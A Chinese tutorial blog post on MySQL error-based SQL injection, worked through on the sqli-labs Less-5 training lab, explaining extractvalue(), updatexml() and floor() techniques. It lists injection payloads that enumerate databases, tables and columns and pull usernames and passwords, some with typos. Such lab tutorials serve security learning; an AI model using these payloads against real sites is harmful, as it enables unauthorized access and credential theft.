sql注入之报错注入

1.1 报错注入原理

报错注入的原理基于应用程序在处理数据库查询时产生的错误信息。当应用程序执行一个含有恶意SQL代码的查询时,如果查询出错(例如,由于语法错误或权限不足),数据库系统通常会返回一个错误信息给应用程序。这个错误信息可能会包含有关数据库结构的敏感信息,如数据库名称、表名、列名等。攻击者可以利用这些信息来进一步构建更复杂的SQL注入攻击,以获取更多的数据库内容。

1.2 报错注入靶场

http://192.168.1.24/sqli-labs/Less-5/

1.3 报错注入的函数

  1. extractvalue():这个函数是MySQL中用于对XML文档数据进行查询的XPath函数。当它的第二个参数不是一个合法的XPath表达式时,会引发错误,并可能返回包含攻击者所需信息的错误消息。

  2. updatexml():这也是MySQL的一个XML函数,用于改变(查找并替换)XML文档中符合条件的节点的值。当Xpath定位非法时,会引发错误,从而可能泄露数据库信息。

  3. floor():floor()函数是MySQL中用来取整的函数。在报错注入中,攻击者可能会构造特定的SQL语句,利用floor()函数的特性来触发错误,并从中获取数据库信息。

1.4 寻找注入点

发现没有了用户和ID的回显,只有"You are ing..",查看有无报错回显,找到闭合方式

有报错的回显。然后判断字段数

1.5 用order by判断字段数

复制代码
?id=1' order by 1,2,3--+
?id=1' order by 1,2,3,4--+

输入4的时候会报错,那就得到字段数为3

1.6 用union select 寻找注入点

复制代码
?id=1'  union select 1,2,3--+
?id=1'  union select 1,2,3,4--+

输入到3爆you are in

输入到4的时候报错

得到注入点在3

1.7 用extractvalue()函数爆数据库。

用extractvalue函数进行报错注入。

复制代码
爆破数据库
?id=1' or/and extractvalue(1,concat(0x7e,database()/(select database()),0x7e))--+

得到数据库名security

1.8 爆数据表

复制代码
爆破数据库表
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name)fro information_schema.tables where table_schema=database()),0x7e))--+

得到名为emails,referers,uagents,users的四个表

1.9 爆users表中的字段

复制代码
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users'),0x7e))--+

得到名为user_id,first_name,last_name,us,的字段

1.10 爆字段值

复制代码
?id=1' or extractvalue(1,concat(0x7e,(select username from users limit
0,1),0x7e))--+
?id=1' or extractvalue(1,concat(0x3e,(select group_concat(password) from
users),0x3e),1)--+

1.11 用updatexml()函数进行报错注入

复制代码
爆破数据库
?id=1' or/and updatexml(1,concat(0x7e,database()/(select database()),0x7e),1)--+
复制代码
爆破数据库表
?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name)from
information_schema.tables where table_schema=database()),0x7e),1)--+
复制代码
爆破字段
?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name)from
information_schema.columns where table_name='users'),0x7e),1)--+
复制代码
爆破数据内容
?id=1' or updatexml(1,concat(0x7e,(select password from users limit
0,1),0x7e),1)--+

1.12.通floor()函数进行报错注入,前提需要知道有多少字段数

复制代码
爆破数据库
?id=-1' union select 1,count(*),concat(0x7e,(database()),0x7e,floor(rand(0)*2))x
from information_schema.tables group by x--+
复制代码
爆破数据库表
?id=-1' union select 1,count(*),concat(0x7e,(select (table_name)from
information_schema.tables where table_schema=database() limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
复制代码
爆破字段
?id=-1' union select 1,count(*),concat(0x7e,(select (column_name)from
information_schema.columns where table_name='users' limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
复制代码
爆破数据库内容
?id=-1' union select 1,count(*),concat(0x7e,(select (username)from users limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
相关推荐
2301_780789664 小时前
UDP和TCP的主要区别是什么
服务器·网络协议·web安全·网络安全·udp
一只栖枝6 小时前
HCIA-Security 认证精讲!网络安全理论与实战全掌握
网络·web安全·网络安全·智能路由器·hcia·it·hcia-security
晨欣9 小时前
大型语言模型(LLM)在网络安全中最具商业价值的应用场景(Grok3 回答 DeepSearch模式)
网络·web安全·语言模型
上海云盾-高防顾问14 小时前
电商行业如何做好网络安全工作?
网络·安全·web安全
鼓掌MVP14 小时前
网络安全威胁下的企业困境与破局技术实践
网络·安全·web安全
运维有小邓@19 小时前
内部文件审计:企业文件服务器审计对网络安全提升有哪些帮助?
运维·服务器·web安全
黑客老李1 天前
web安全入门 | 记新手小白初次尝试挖越权漏洞
安全·web安全·网络安全学习路线·黑客入门·web安全入门·web安全测试
上海云盾-高防顾问1 天前
筑牢网络安全防线:DDoS/CC 攻击全链路防护技术解析
安全·web安全·ddos
武汉唯众智创1 天前
职业院校网络安全攻防对抗实训室解决方案
网络·安全·web安全·网络安全·攻防对抗·网络安全攻防对抗实训室·网络安全攻防对抗
码农12138号2 天前
BUUCTF在线评测-练习场-WebCTF习题[RoarCTF 2019]Easy Java1-flag获取、解析
java·web安全·网络安全·ctf·buuctf·任意文件下载漏洞